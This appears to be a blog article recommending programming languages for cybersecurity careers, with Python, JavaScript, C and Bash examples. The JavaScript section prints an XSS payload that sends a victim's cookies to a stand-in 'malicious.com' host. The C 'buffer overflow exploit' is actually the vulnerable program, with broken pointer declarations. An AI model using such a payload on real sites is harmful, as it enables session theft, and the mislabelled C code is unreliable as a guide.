The Best Programming Languages for Cyber Security

Regardless of if you want to be a programmer or not, having a programming language in your arsenal is a necessity if you want to be on the technical side of cyber security. Not only will it make you stand out in the pool of hundreds of applicants, but it will also make you a stronger player in your own day to day. Developing these skills has a wide range of plays in the Cyber Security realm whether that is automating repetitive tasks, investigations, penetration testing, etc. the list goes on where having any level of coding can come in handy. In this article, we will take a peek into what we feel like are some of the best programming languages for cyber security, discuss their strengths and weaknesses, and help you decide which ones might be worth adding to your toolkit.

Why being able to program matters in Cyber Security

Before we dive into specific languages, let's take a second to understand where it can come in handy. Here are a few reasons from our experiences.

1. Automation: Many security tasks can be automated with scripts or programs. This includes scanning for vulnerabilities, monitoring systems, and responding to incidents. For example, you may perform the same exact steps / gather the same exact data for specific security alerts. Building a script to query this information for you instead of clicking through 20 portals saves time in the end, and time is money.

2. Understanding Exploits: To understand how exploits work, you need to know how software is built. Many exploits take advantage of flaws in code, so understanding the code helps you understand the exploit. For penetration testing you will definitely work with scripts but from the blue team side of things, understanding what goes into these exploits can help you become a stronger defender.

3. Developing Tools: Sometimes, off-the-shelf tools aren’t enough. Being able to develop your own tools can give you a significant edge. This can be as simple as a tool to work with one of your vendors APIS.

4. Analyzing Malware: Understanding the code behind malware is crucial for figuring out how it works and how to defend against it.

The Best Programming Language for Cyber Security (From our perspective)

It's important to say this is not a definitive list, it can definitely vary on your specific workplace. But for general these are the most common and what we consider the most powerful.

1. Python

Overview: Our personal favorite is, Python it's often touted as one of the best languages for cyber security, and for good reason. It’s versatile, easy to learn, and has a vast ecosystem of libraries and frameworks that can help with everything from web development to data analysis. If you are completely raw with programming, definitely start off with Python.

Strengths:

• Ease of Use: Python's syntax is clear and readable, making it accessible for beginners.

• Extensive Libraries: Libraries like Scapy, Nmap, and Requests are invaluable for network scanning, penetration testing, and web scraping.

• Community Support: Python has a large and active community, meaning plenty of tutorials, forums, and third-party tools.

• Cross-Platform: Python runs on Windows, macOS, and Linux, making it very versatile.

Applications in Cyber Security:

• Penetration Testing: Tools like Metasploit, which are written in Ruby but have Python interfaces, leverage Python for scripting.

• Network Security: Python can automate network scans and packet analysis.

• Malware Analysis: Python scripts can automate the analysis of malware behavior.

Example: The following Python script uses the Scapy library to perform a simple network scan - don't freak out if you are brand new to this, it's much easier to understand if you know a bit of the language.

python

from scapy.all import ARP, Ether, srp target_ip = "192.168.1.0/24" arp = ARP(pdst=target_ip) ether = Ether(dst="ff:ff:ff:ff:ff:ff") packet = ether/arp result = srp(packet, timeout=3, verbose=0)[0] clients = [] for sent, received in result: clients.append({'ip': received.psrc, 'mac': received.hwsrc}) for client in clients: print(f"IP: {client['ip']} MAC: {client['mac']}")

2. JavaScript

Overview: JavaScript may not be the first language that comes to mind for cyber security, but it's becoming increasingly important, especially in the context of web security. As the backbone of web development, understanding JavaScript is essential for identifying and defending against web-based attacks. If you are aiming or currently work in a more web security focused role, this is up your alley.

Strengths:

• Ubiquity: JavaScript is everywhere on the web, running on almost every website you visit.

• Interactivity: JavaScript is crucial for creating interactive and dynamic web pages, which means it’s also central to many web vulnerabilities.

• Frameworks: Tools like Node.js enable server-side scripting, adding another dimension to its utility in cyber security.

Applications in Cyber Security:

• Cross-Site Scripting (XSS): Understanding JavaScript is key to both exploiting and defending against XSS attacks.

• Security Testing: Tools like OWASP ZAP use JavaScript for scripting custom security tests.

• Web Application Security: JavaScript can be used to develop and test security measures for web applications.

Example: Here’s a simple example of how an attacker might exploit a vulnerability using JavaScript in an XSS attack:

javascript

<script> document.location = "http://malicious.com/stealcookie.php?cookie=" + document.cookie; </script>

3. C and C++

Overview: C and C++ are fundamental programming languages in the world of system programming. They are powerful and provide low-level access to memory, making them indispensable for developing high-performance applications and understanding system-level vulnerabilities. I wouldn't really start here if you are completely new. However - for malware related research and learning, it's perfect.

Strengths:

• Performance: Both C and C++ are known for their high performance and efficiency.

• System Access: These languages provide low-level access to system resources, which is crucial for developing security software and exploits.

• Portability: C and C++ programs can be compiled on virtually any platform, making them highly versatile.

Applications in Cyber Security:

• Exploit Development: Many exploits and payloads are written in C or C++ due to their low-level system access.

• Reverse Engineering: Understanding malware often involves analyzing binaries, which are typically written in C or C++.

• System Security: Developing security tools like antivirus software or intrusion detection systems often requires the performance and capabilities of C/C++.

Example: A basic buffer overflow exploit in C:

c

#include <stdio.h> #include <string.h> void vulnerable_function(char str) { char buffer[16]; strcpy(buffer, str); } int main(int argc, char argv[]) { if (argc != 2) { printf("Usage: %s <string>\n", argv[0]); return 1; } vulnerable_function(argv[1]); return 0; }

4. Shell Scripting (Bash)

Overview: While not a programming language in the traditional sense, shell scripting is incredibly useful for automating tasks and managing systems. Bash, the Bourne Again Shell, is one of the most popular and powerful shell environments used in Unix-like operating systems.

Strengths:

• Simplicity: Shell scripts are easy to write and understand.

• System Management: Shell scripting excels at automating system administration tasks.

• Integration: Shell scripts can easily call and control other programs and utilities.

Applications in Cyber Security:

• Automating Tasks: From scanning networks to managing logs, shell scripts can automate a wide range of tasks.

• Incident Response: Scripts can quickly gather system information, making them invaluable during incident response.

• Penetration Testing: Tools like Nmap and Metasploit often utilize shell scripts for custom operations.

Example: A simple Bash script to find and list open ports on a local network:

bash

#!/bin/bash network="192.168.1" for ip in {1..254}; do ping -c 1 -W 1 $network.$ip &> /dev/null if [ $? -eq 0 ]; then echo "$network.$ip is up" nmap -p- -T4 $network.$ip fi done

Other Notable Mentions

While the languages above are some of the most prominent in cyber security, there are other languages worth mentioning:

• Ruby: Known for its simplicity and ease of use, Ruby is popular in the context of penetration testing tools like Metasploit.

• PHP: Often used in web development, PHP is crucial for understanding web vulnerabilities and defending against them.

• SQL: Though primarily a language for managing databases, SQL is important for understanding database security, including SQL injection attacks.

• Go: Known for its performance and concurrency support, Go is becoming increasingly popular for developing security tools.

Choosing the Right Language

Selecting the right programming language depends largely on your specific needs and career goals in cyber security. Here are a few considerations:

• Career Path: If you’re focused on web security, JavaScript and PHP might be more relevant. For system-level security, C and C++ are crucial.

• Learning Curve: Some languages, like Python, are easier to learn than others, making them a good starting point.

• Project Requirements: The requirements of your specific projects or roles will heavily influence your choice of language. If you need to automate tasks, shell scripting or Python might be best. For developing high-performance tools, C or C++ might be more appropriate.

Conclusion

In the dynamic field of cyber security, being proficient in the right programming languages is essential. Python, JavaScript, C, C++, Java, and shell scripting each offer unique advantages and are valuable tools in a security professional's toolkit. By understanding and leveraging these languages, you can better protect systems, analyze threats, and develop robust security solutions.

Investing time in learning these languages will pay dividends throughout your career, enhancing your ability to understand complex security issues and craft effective defenses. As the cyber security landscape continues to evolve, staying current with programming skills will help ensure that you remain at the forefront of the field.